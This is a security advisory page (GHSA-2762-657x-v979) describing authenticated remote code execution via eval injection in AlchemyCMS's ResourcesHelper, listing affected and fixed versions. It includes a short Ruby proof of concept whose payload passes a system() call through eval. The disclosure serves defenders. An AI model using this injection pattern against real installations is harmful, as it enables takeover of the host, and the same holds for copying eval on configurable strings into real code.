GHSA-2762-657x-v979

Suggest an improvement
Source
https://github.com/advisories/GHSA-2762-657x-v979
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-2762-657x-v979
Aliases
Published
2026-01-21T01:04:32Z
Modified
2026-01-21T15:06:06.950324Z
Severity
  • 6.4 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
AlchemyCMS: Authenticated Remote Code Execution (RCE) via eval injection in ResourcesHelper
Details

Summary

A vulnerability was discovered during a manual security audit of the AlchemyCMS source code. The application uses the Ruby eval() function to dynamically execute a string provided by the resource_handler.engine_name attribute in Alchemy::ResourcesHelper#resource_url_proxy.

Details

The vulnerability exists in app/helpers/alchemy/resources_helper.rb at line 28. The code explicitly bypasses security linting with # rubocop:disable Security/Eval, indicating that the use of a dangerous function was known but not properly mitigated.

Since engine_name is sourced from module definitions that can be influenced by administrative configurations, it allows an authenticated attacker to escape the Ruby sandbox and execute arbitrary system commands on the host OS.

But, for this attack to be possible local file access to the alchemy project or the source on a remote server is necessary in order to manipulate the module config file, though.

PoC (Proof of Concept)

The following standalone Ruby script demonstrates that the eval sink is directly exploitable:

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)

if File.exist?('/tmp/alchemy_rce_verified')
  puts "RCE Verified: Command executed successfully."
end

<img width="1909" height="885" alt="Screenshot From 2026-01-17 15-49-01" src="https://github.com/user-attachments/assets/07929d46-c839-4d3c-9b74-916bd87819ad" />

Database specific
{
    "github_reviewed_at": "2026-01-21T01:04:32Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-95"
    ],
    "severity": "MODERATE",
    "nvd_published_at": "2026-01-19T22:16:02Z"
}
References

Affected packages

RubyGems / alchemy_cms

Package

Name
alchemy_cms
Purl
pkg:gem/alchemy_cms

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
7.4.12

Affected versions

2.*

2.0.pre2
2.0.pre3
2.0.pre4
2.0.pre5
2.0.rc1
2.0.rc2
2.0.rc3
2.0.rc4
2.0.rc5
2.0.rc6
2.0
2.0.1
2.0.2
2.0.3
2.0.3.1
2.0.4
2.0.5
2.0.6.1
2.0.7
2.1.beta1
2.1.beta5
2.1.beta6
2.1.rc2
2.1.rc3
2.1.rc4
2.1.rc5
2.1.rc6
2.1
2.1.1
2.1.2
2.1.3
2.1.4
2.1.5
2.1.6
2.1.7
2.1.8
2.1.8.1
2.1.9
2.1.9.1
2.1.11
2.1.12
2.2.rc1
2.2.rc2
2.2.rc3
2.2.rc6
2.2.rc7
2.2.rc8
2.2.rc11
2.2.rc13
2.2.rc14
2.2.rc15
2.2.0
2.2.1
2.2.2
2.2.3.1
2.2.3.2
2.2.4
2.3.rc5
2.3.0
2.3.1
2.3.2
2.4.beta2
2.4.rc1
2.4.rc2
2.4.rc4
2.4.0
2.4.1
2.5.0.b2
2.5.0.b5
2.5.0.b9
2.5.0.rc3
2.5.0
2.5.1
2.5.2
2.5.2.1
2.5.2.2
2.5.3
2.5.3.1
2.6.0.rc5
2.6.0
2.6.1
2.6.2
2.6.2.1
2.6.3
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.7.5
2.8.1
2.8.2
2.8.3
2.9.0
2.9.1

3.*

3.0.0.rc5
3.0.0.rc6
3.0.0.rc7
3.0.0.rc8
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.1.0.beta1
3.1.0.beta2
3.1.0.beta3
3.1.0.beta4
3.1.0.beta5
3.1.0.beta6
3.1.0.rc1
3.1.0.rc2
3.1.0.rc3
3.1.0
3.1.1
3.1.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0
6.1.1
6.1.2
6.1.3
6.1.4
6.1.5
6.1.6
6.1.7
6.1.8
6.1.9
6.1.10

7.*

7.0.0.pre.a
7.0.0.pre.b
7.0.0.pre.c
7.0.0.pre.rc1
7.0.0
7.0.1
7.0.2
7.0.3
7.0.4
7.0.5
7.0.6
7.0.7
7.0.8
7.0.9
7.0.10
7.0.11
7.0.12
7.0.13
7.0.14
7.0.15
7.0.16
7.1.0.pre.b1
7.1.0.pre.b2
7.1.0.pre.rc1
7.1.0
7.1.1
7.1.2
7.1.3
7.1.4
7.1.5
7.1.6
7.1.7
7.1.8
7.1.9
7.1.10
7.1.11
7.1.12
7.1.13
7.2.0.b
7.2.0.rc1
7.2.0.rc2
7.2.0
7.2.1
7.2.2
7.2.3
7.2.4
7.2.5
7.2.6
7.2.7
7.2.8
7.2.9
7.3.0
7.3.1
7.3.2
7.3.3
7.3.4
7.3.5
7.3.6
7.3.7
7.3.8
7.4.0
7.4.1
7.4.2
7.4.3
7.4.4
7.4.5
7.4.6
7.4.7
7.4.8
7.4.9
7.4.10
7.4.11

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json"

RubyGems / alchemy_cms

Package

Name
alchemy_cms
Purl
pkg:gem/alchemy_cms

Affected ranges

Type
ECOSYSTEM
Events
Introduced
8.0.0.a
Fixed
8.0.3

Affected versions

8.*

8.0.0.a
8.0.0.b
8.0.0.c
8.0.0
8.0.1
8.0.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-2762-657x-v979/GHSA-2762-657x-v979.json"